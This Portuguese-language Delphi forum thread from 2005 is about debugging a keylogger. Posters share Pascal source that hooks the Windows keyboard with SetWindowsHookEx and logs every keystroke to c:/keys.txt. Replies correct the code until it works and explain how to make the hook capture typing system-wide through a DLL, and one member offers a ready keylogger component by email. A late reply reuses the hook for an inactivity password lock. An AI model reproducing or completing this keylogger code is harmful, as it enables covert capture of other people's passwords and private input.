Duvida Angustiante (Keylooger)
Bom, utilizando o exemplo da pagina do clube, fiz algumas modificações no Keylogger. Porém ocorre um erro, aqui vai o codigo ja com as modificações:
Na linha marcada com --> <-- o compilador acusa [color=red:250e23a59c]´[Error] kl.pas(79): Undeclared identifier: ´code´[/color:250e23a59c].
Ja tentei de tudo mas não consigo consertar este erro.
Desde já agradeço a ajuda.
var
Form1: TForm1;
arq: textfile;
idKeyLog : HHOOK;
KeylogHookProc : FARPROC;
implementation
{$R *.DFM}
function tform1.KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
var
tecla:String[255];
b1,b2: boolean;
begin
case wParam of
VK_SHIFT, VK_CAPITAL, VK_MENU:begin
//ignore estas teclas
end;
VK_BACK:begin
Write(Arq,´[BKSP]´);
end;
VK_TAB:begin
Write(Arq,´[TAB]´);
end;
VK_RETURN:begin
WriteLN(Arq,´[ENTER]´);
end;
VK_ESCAPE:begin
Write(Arq,´[ESC]´);
end;
32..64:begin
Write(Arq,chr(Byte(wParam)));
end;
65..90:begin// todas as letras
b1:=GetKeyState(VK_SHIFT)<0; // verifica se o Shift está pressionado
b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock
if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock
Write(Arq,chr(Byte(wParam+32))) // coloca em minusculo
else
Write(Arq,chr(Byte(wParam)));
end;
VK_NUMPAD0..VK_NUMPAD9:begin
Write(Arq,chr(Byte(wParam-VK_NUMPAD0+48)));
end;
else begin
tecla:=´´;
GetKeyNameText(LParam,@tecla[1],254);
Write(Arq,´[´+tecla+´]´);
end;
end;
Flush(Arq);
Result:=CallNextHookEx(HHOOK(nil), code, wParam, lParam);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
assignfile (arq,´c:/keys.txt´);
if fileexists(´c:/keys.txt´) then
Append(Arq)
else
ReWrite(Arq);
idKeylog:=SetWindowsHookEx(WH_KEYBOARD,KeylogHookProc,null,0);
--> KeyboardProc(code:integer;wParam:WPARAM;lParam:LPARAM); <--
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
UnhookWindowsHookEx(idKeyLog);
end;
end.
Na linha marcada com --> <-- o compilador acusa [color=red:250e23a59c]´[Error] kl.pas(79): Undeclared identifier: ´code´[/color:250e23a59c].
Ja tentei de tudo mas não consigo consertar este erro.
Desde já agradeço a ajuda.
Fernando Lempê
Curtidas 0
Respostas
Marco Salles
17/04/2005
utilizando o exemplo da pagina do clube, fiz algumas modificações
Amigo, voce poderia por gentieza , nos mostrar o ´Caminho´ desse Exemplo.. Para podermos fazer uma analogia com suas alterações
GOSTEI 0
Fernando Lempê
17/04/2005
[url]http://www.clubedelphi.net/aplicativos/keylogger.zip[/url]
Eu modifiquei o programa afim de não usar a DLL externa que o original usa.
Pretendo deixar toda codificação dentro de uma só unit.
Eu modifiquei o programa afim de não usar a DLL externa que o original usa.
Pretendo deixar toda codificação dentro de uma só unit.
GOSTEI 0
Emerson Nascimento
17/04/2005
creio que essa linha deveria ser excluída.
GOSTEI 0
Fernando Lempê
17/04/2005
Essa é a linha principal do porgrama, onde faz a chamada a função que vai gravar as teclas.
Acho que não seria a solução excluí-la.
Acho que não seria a solução excluí-la.
GOSTEI 0
Emerson Nascimento
17/04/2005
quando voçê tem um HOOK (gancho) , não é necessário ´chamar´ a função. Ela funciona como um evento, sendo disparada automaticamente. Eu fiz uma pequena adaptação. Complete para tornar funcional.
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
idKeyLog : HHOOK;
arq: textfile;
public
{ Public declarations }
end;
var
Form1: TForm1;
function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
implementation
{$R *.dfm}
function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
var
tecla:String[255];
b1,b2: boolean;
begin
if code < 0 then
Result:=CallNextHookEx(Form1.idKeylog, code, wParam, lParam)
else
begin
case lParam of
KF_ALTDOWN: Write(Form1.Arq,´[ALT]´);
end;
case wParam of
VK_SHIFT, VK_CAPITAL, VK_MENU:begin
//ignore estas teclas
end;
VK_BACK:begin
Write(Form1.Arq,´[BKSP]´);
end;
VK_TAB:begin
Write(Form1.Arq,´[TAB]´);
end;
VK_RETURN:begin
WriteLN(Form1.Arq,´[ENTER]´);
end;
VK_ESCAPE:begin
Write(Form1.Arq,´[ESC]´);
end;
32..64:begin
Write(Form1.Arq,chr(Byte(wParam)));
end;
65..90:begin// todas as letras
b1:=GetKeyState(VK_SHIFT)<0; // verifica se o Shift está pressionado
b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock
if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock
Write(Form1.Arq,chr(Byte(wParam+32))) // coloca em minusculo
else
Write(Form1.Arq,chr(Byte(wParam)));
end;
VK_NUMPAD0..VK_NUMPAD9:begin
Write(Form1.Arq,chr(Byte(wParam)));
end;
else begin
tecla:=´´;
GetKeyNameText(LParam,@tecla[1],254);
Write(Form1.Arq,´[´+tecla+´]´);
end;
end;
Flush(Form1.Arq);
result := 0;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
assignfile (arq,´c:/keys.txt´);
if fileexists(´c:/keys.txt´)
then Append(Arq)
else ReWrite(Arq);
idKeylog := SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hInstance,0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(idKeyLog);
CloseFile(Arq);
end;GOSTEI 0
Fernando Lempê
17/04/2005
procedure TForm1.FormCreate(Sender: TObject); begin assignfile (arq,´c:/keys.txt´); if fileexists(´c:/keys.txt´) then Append(Arq) else ReWrite(Arq); *** idKeylog := SetWindowsHookEx (WH_KEYBOARD,KeyboardProc,HInstance,0); *** end;
:(
Mesmo utilizando a correção agora um novo erro ocorre na linha com ***
[color=red:a77791ba2d][Error] Ukl.pas(89): Incompatible types: regular procedure and method pointer[/color:a77791ba2d]
GOSTEI 0
Emerson Nascimento
17/04/2005
preste atenção na declaração da função que eu passei.
o correto é:
function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
não está ligada ao formulário. Está declarada fora da declaração do formulário.
reveja todo o código.
o correto é:
function KeyboardProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall;
não está ligada ao formulário. Está declarada fora da declaração do formulário.
reveja todo o código.
GOSTEI 0
Kapak
17/04/2005
O segundo parâmetro é um ponteiro p/ a função.
A chamada correta seria:
Note que o último parâmetro dwThreadId é o identificador da Thread que instala a Hook; como vc está instalando uma Hook local, coloque a Thread principal do seu aplicativo.
ps: Hooks locais só capturam qdo sua aplicação estiver em foco e não em todo o Windows.
A chamada correta seria:
SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, GetCurrentThreadId);
Note que o último parâmetro dwThreadId é o identificador da Thread que instala a Hook; como vc está instalando uma Hook local, coloque a Thread principal do seu aplicativo.
ps: Hooks locais só capturam qdo sua aplicação estiver em foco e não em todo o Windows.
GOSTEI 0
Fernando Lempê
17/04/2005
Gostaria de agradecer a colaboração do amigo [color=red:919003835a]emerson.en[/color:919003835a] em especial. O código funcionou perfeitamente.
Agora o problema do keylogger está resolvido, podemos usar este tópico como referencia.
Agora o problema do keylogger está resolvido, podemos usar este tópico como referencia.
GOSTEI 0
Emerson Nascimento
17/04/2005
eu tenho um componente bem simples para essa finalidade. não o postei antes para que o problema do nosso colega fosse resolvido.
quem quiser o componente é só falar.
solicitem no email emerson.en@ig.com.br
quem quiser o componente é só falar.
solicitem no email emerson.en@ig.com.br
GOSTEI 0
Christian_adriano
17/04/2005
kapak Escreveu: Note que o último parâmetro dwThreadId é o identificador da Thread que instala a Hook; como vc está instalando uma Hook local, coloque a Thread principal do seu aplicativo. ps: Hooks locais só capturam qdo sua aplicação estiver em foco e não em todo o Windows.
kapak, para eu resolver esse problema é só eu declarar
var
.........
........
idKeyLog : HHOOK;
É isso ?
Grato.
Christian.
GOSTEI 0
Kapak
17/04/2005
Que problema ?
GOSTEI 0
Christian_adriano
17/04/2005
kapak,
O problema da aplicação não funcionar em segundo plano, ou seja, ela só funciona quando ela esta em foco. E se não me engano a sua resposta foi a respeito disso. Mais não consegui fazer funcionar.
Grato.
T+
Christian.[/list]
O problema da aplicação não funcionar em segundo plano, ou seja, ela só funciona quando ela esta em foco. E se não me engano a sua resposta foi a respeito disso. Mais não consegui fazer funcionar.
Grato.
T+
Christian.[/list]
GOSTEI 0
Kapak
17/04/2005
Olá, quando vc coloca em dwThreadId a thread principal do seu programa, vc diz ao Windows p/ enviar msgs originárias somente da sua aplicação. Para capturar em todo o Windows, vc tem que instalar uma Hook numa dll e deixar dwThreadId = 0. Com isto o Windows envia todas as msgs p/ a dll e dela vc pode informar sua aplicação através de SendMessage.
GOSTEI 0
Anibaljr77
17/04/2005
Já que o hook tb capta as teclas digitadas no windows, estando a minha aplicação em segundo plano, tem como a minha aplicação mostrar uma mensagem após serem digitadas x vezes as teclas no windows???
GOSTEI 0
Kapak
17/04/2005
Já que o hook tb capta as teclas digitadas no windows, estando a minha aplicação em segundo plano, tem como a minha aplicação mostrar uma mensagem após serem digitadas x vezes as teclas no windows???
...o Windows envia todas as msgs p/ a dll e dela vc pode informar sua aplicação através de SendMessage.
GOSTEI 0
Seven
17/04/2005
Alo !?
aproveitando o tópico...
apliquei os exemplos do pessoal desse topico no meu sistema...
para calcular o tempo em que o usuário não digita ... para poder abrir um form de SENHA...
ou seja, apos N minutos sem que seja digitado nada... o FORMSENHA abre e o usuário é obrigado a digitar a senha novamente...
até aí tudo certo, porem se o usuario apenas usar o mouse, clicando aqui, clicando ali o sistema não reconhece como se o usuario estivesse operando o mesmo.
a pergunta... Existe uma forma de capturar também os CLICKS do mouse ?
[]s
desde ja agradeço
Arielton Lima
aproveitando o tópico...
apliquei os exemplos do pessoal desse topico no meu sistema...
para calcular o tempo em que o usuário não digita ... para poder abrir um form de SENHA...
ou seja, apos N minutos sem que seja digitado nada... o FORMSENHA abre e o usuário é obrigado a digitar a senha novamente...
até aí tudo certo, porem se o usuario apenas usar o mouse, clicando aqui, clicando ali o sistema não reconhece como se o usuario estivesse operando o mesmo.
a pergunta... Existe uma forma de capturar também os CLICKS do mouse ?
[]s
desde ja agradeço
Arielton Lima
GOSTEI 0